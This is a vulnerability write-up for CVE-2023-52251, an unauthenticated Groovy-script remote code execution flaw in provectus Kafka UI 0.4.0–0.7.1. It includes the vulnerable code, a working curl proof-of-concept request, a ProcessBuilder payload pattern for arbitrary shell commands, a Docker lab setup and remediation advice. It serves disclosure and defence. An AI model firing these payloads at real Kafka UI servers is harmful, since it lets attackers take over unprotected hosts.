TECHNICAL ANALYSISEXPLOIT DEVELOPMENTCVE-2023-52251

CVE-2023-52251 — Kafka UI Groovy Script Remote Code Execution

An issue discovered in provectus kafka-ui 0.4.0 through 0.7.1 allows remote attackers to execute arbitrary code via the q parameter of /api/clusters/local/topics/{topic}/messages.

Originally published on Rapid7 AttackerKB · 2024-01-20 · revised 2024-02-04

Overview

Kafka UI is a nice web front-end that provides a fast and lightweight web UI for managing Apache Kafka® clusters developed by provectus. At the time of the assessment, version 0.7.1 was affected by a remote code execution vulnerability that had been disclosed to Provectus on September 27, 2023 but was not yet patched. The vulnerability can be exploited via the q parameter at /api/clusters/local/topics/{topic}/messages endpoint which allows the user to define a Groovy script filter. There is no sanitation of the groovy script filter before it is executed. This allows an attacker to execute arbitrary code on the server.

The vulnerable code can be found in the function groovyScriptFilter:

  static Predicate<TopicMessageDTO> groovyScriptFilter(String script) {
    var engine = getGroovyEngine();
    var compiledScript = compileScript(engine, script);
    var jsonSlurper = new JsonSlurper();
    return new Predicate<TopicMessageDTO>() {
      @SneakyThrows
      @Override
      public boolean test(TopicMessageDTO msg) {
        var bindings = engine.createBindings();
        bindings.put("partition", msg.getPartition());
        bindings.put("offset", msg.getOffset());
        bindings.put("timestampMs", msg.getTimestamp().toInstant().toEpochMilli());
        bindings.put("keyAsText", msg.getKey());
        bindings.put("valueAsText", msg.getContent());
        bindings.put("headers", msg.getHeaders());
        bindings.put("key", parseToJsonOrReturnAsIs(jsonSlurper, msg.getKey()));
        bindings.put("value", parseToJsonOrReturnAsIs(jsonSlurper, msg.getContent()));

        var result = compiledScript.eval(bindings);  <==== vulnerable code

        if (result instanceof Boolean) {
          return (Boolean) result;
        } else {
          throw new ValidationException(
              "Unexpected script result: %s, Boolean should be returned instead".formatted(result));
        }
      }
    };
  }

The vulnerability can be exercised with the request below: We are using a Groovy OS execution code snippet "touch /tmp/cuckoo".execute(); to test the vulnerability. You need an active Kafka cluster, in this case our cluster is named local and a topic (cuckoo) which you can create if there are no topics.

curl 'http://192.168.201.25:8080/api/clusters/local/topics/cuckoo/messages?q=%22touch%20%2Ftmp%2Fcuckoo%22.execute()&filterQueryType=GROOVY_SCRIPT&attempt=4&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING'
/tmp $ ls -l
total 4
-rw-r--r--    1 kafkaui  kafkaui          0 Jan 24 16:26 cuckoo
drwxr-xr-x    2 kafkaui  kafkaui       4096 Jan 24 16:25 hsperfdata_kafkaui
/tmp $

This confirms that user-controlled Groovy code reaches the vulnerable execution path. And without any authentication!!!

If you want to make a more complex system command, you should not use "my commandline".execute() because it can not handle unix pipe |, redirection > and command chaining with ;. You better use some Groovy scripting along the lines like below: "Process p=new ProcessBuilder(\"sh\",\"-c\",\"<my complex cmd_line>\").redirectErrorStream(true).start()"

If you want to play around with this vulnerability, just follow the steps below to install a vulnerable Kafka-ui instance with an active Kafka cluster.

Installation steps to install Kafka ui

  • Install Docker on your preferred platform.
  • Here are the installation instructions for Docker Desktop on MacOS.
  • Create a empty directory (kafka-ui).
  • Create the following docker-compose.yaml file in the directory. This will automatically create a Kafka cluster with Kafka-ui. You can modify the v0.7.0 in the yaml file to pull different versions.
version: '2'

networks:
  rmoff_kafka:
    name: rmoff_kafka

services:
  zookeeper:
    image: confluentinc/cp-zookeeper:latest
    container_name: zookeeper
    networks:
      - rmoff_kafka
    environment:
      ZOOKEEPER_CLIENT_PORT: 2181
      ZOOKEEPER_TICK_TIME: 2000
    ports:
      - 22181:2181

  kafka:
    image: confluentinc/cp-kafka:latest
    container_name: kafka
    networks:
      - rmoff_kafka
    depends_on:
      - zookeeper
    ports:
      - 29092:9092
    environment:
      KAFKA_BROKER_ID: 1
      KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1

  kafka-ui:
    container_name: kafka-ui
    image: provectuslabs/kafka-ui:v0.7.0
    networks:
      - rmoff_kafka
    ports:
      - 8080:8080
    depends_on:
      - kafka
      - zookeeper
    environment:
      KAFKA_CLUSTERS_0_NAME: local
      KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092
      KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181
      KAFKA_BROKERCONNECT: kafka:9092
      DYNAMIC_CONFIG_ENABLED: 'true'
      KAFKA_CLUSTERS_0_METRICS_PORT: 9997
  • Run following command docker-compose up -d to install and run the Kafka ui and cluster environment.
  • Your Kafka ui should be accessible on http://localhost:8080 with an active Kafka cluster running.
  • You can bring down the environment for a fresh start with the command docker-compose down --volumes.

You are now ready to test the vulnerability.

I developed a Metasploit module that automates the exploitation workflow. You can find the module here in my local repository or as PR 18700 at Metasploit GitHub development.

Remediation

Kafka-ui versions between v0.4.0 - v0.7.1 are vulnerable and there is no fix. There is no outlook yet when it will be fixed, so do not use a default installation which has no authentication enabled. It is strongly advised to configure Kafka-ui with basic authentication.

References

Credits